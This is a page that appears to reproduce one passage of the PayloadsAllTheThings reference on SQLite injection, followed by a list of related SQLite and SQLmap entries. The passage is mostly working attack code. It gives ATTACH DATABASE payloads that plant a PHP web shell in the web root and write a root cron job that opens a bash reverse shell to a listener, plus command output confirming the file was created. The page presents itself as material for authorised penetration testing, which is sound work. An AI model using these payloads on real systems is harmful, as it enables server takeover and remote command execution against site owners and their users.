Skip to content
BackEsc
Sign in

SQL Injection · passage 164 of 186

SQLite Injection: Attach Database

3 code blocks · SQL Injection/SQLite Injection.md

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

Open this passage on GitHub

This snippet shows how an attacker could abuse SQLite's `ATTACH DATABASE` feature to plant a web-shell on a server:

ATTACH DATABASE '/var/www/shell.php' AS shell;
CREATE TABLE shell.pwn (dataz text);
INSERT INTO shell.pwn (dataz) VALUES ('<?php system($_GET["cmd"]); ?>');--

First, it tells SQLite to "treat" a PHP file as a writable SQLite database. Then it creates a table inside that file (which is actually the future web-shell). Finally it writes malicious PHP code into the file. **Note:** Using `ATTACH DATABASE` to create a file comes with a drawback: SQLite will prepend its magic header bytes (`5351 4c69 7465 2066 6f72 6d61 7420 3300`, i.e., *"SQLite format 3"*). These bytes will corrupt most server-side scripts, but PHP is unusually tolerant: as long as a `<?php` tag appears anywhere in the file, the interpreter ignores any preceding garbage and executes the embedded code.

file shell.php  
shell.php: SQLite 3.x database, last written using SQLite version 3051000, file counter 2, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 2

If uploading a PHP web shell isn’t possible but the service runs with root privileges, an attacker can use the same technique to create a cron job that triggers a reverse shell:

ATTACH DATABASE '/etc/cron.d/pwn.task' AS cron;
CREATE TABLE cron.tab (dataz text);
INSERT INTO cron.tab (dataz) VALUES (char(10) || '* * * * * root bash -i >& /dev/tcp/127.0.0.1/4242 0>&1' || char(10));--

This writes a new cron entry that runs every minute and connects back to the attacker.

Source: SQL Injection/SQLite Injection.md in PayloadsAllTheThings. From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky.

Every one of the 186 is a mark on the map. Named now: 157 to 182, reading order first.

  1. SQLite Injection: SQLite Comments§ 157text · SQLite Injection.md
  2. SQLite Injection: SQLite Enumeration§ 158text · SQLite Injection.md
  3. SQLite Injection: SQLite String Methodology§ 159text · SQLite Injection.md
  4. SQLite Injection: SQLite Blind Methodology§ 160text · SQLite Injection.md
  5. SQLite Injection: SQLite Blind With Substring Equivalent§ 161text · SQLite Injection.md
  6. SQLite Injection: SQlite Error Based§ 1621 code block · SQLite Injection.md
  7. SQLite Injection: SQlite Time Based§ 1631 code block · SQLite Injection.md
  8. SQLite Injection: Attach Database§ 1643 code blocks · SQLite Injection.md
  9. SQLite Injection: Loadextension§ 1653 code blocks · SQLite Injection.md
  10. SQLite Injection: SQLite Read File§ 166text · SQLite Injection.md
  11. SQLite Injection: SQLite Write File§ 1671 code block · SQLite Injection.md
  12. SQLmap: SQLmap§ 168text · SQLmap.md
  13. SQLmap: Basic Arguments For SQLmap§ 1691 code block · SQLmap.md
  14. SQLmap: Load A Request File§ 1701 code block · SQLmap.md
  15. SQLmap: Custom Injection Point§ 1711 code block · SQLmap.md
  16. SQLmap: Second Order Injection§ 1721 code block · SQLmap.md
  17. SQLmap: Getting A Shell§ 173text · SQLmap.md
  18. SQLmap: Crawl And Auto-Exploit§ 1741 code block · SQLmap.md
  19. SQLmap: Proxy Configuration For SQLmap§ 1751 code block · SQLmap.md
  20. SQLmap: Injection Tampering§ 176text · SQLmap.md
  21. SQLmap: Suffix And Prefix§ 1771 code block · SQLmap.md
  22. SQLmap: Default Tamper Scripts§ 1781 code block · SQLmap.md
  23. SQLmap: Custom Tamper Scripts§ 1791 code block · SQLmap.md
  24. SQLmap: Custom SQL Payload§ 1801 code block · SQLmap.md
  25. SQLmap: Evaluate Python Code§ 1811 code block · SQLmap.md
  26. SQLmap: Preprocess And Postprocess Scripts§ 1821 code block · SQLmap.md

Zoom in on the map and the dots under the middle of it are named where they are.

Data as of 2026-11-14. CVE List through 2026-11-14 · EPSS of 2026-11-14 · CISA KEV checked 2026-11-14. Source: PayloadsAllTheThings by Swissky and contributors, MIT License. For authorised testing only. Use this via MCP

CyberSIXTSignal over noise
Updated AboutDevelopersSign in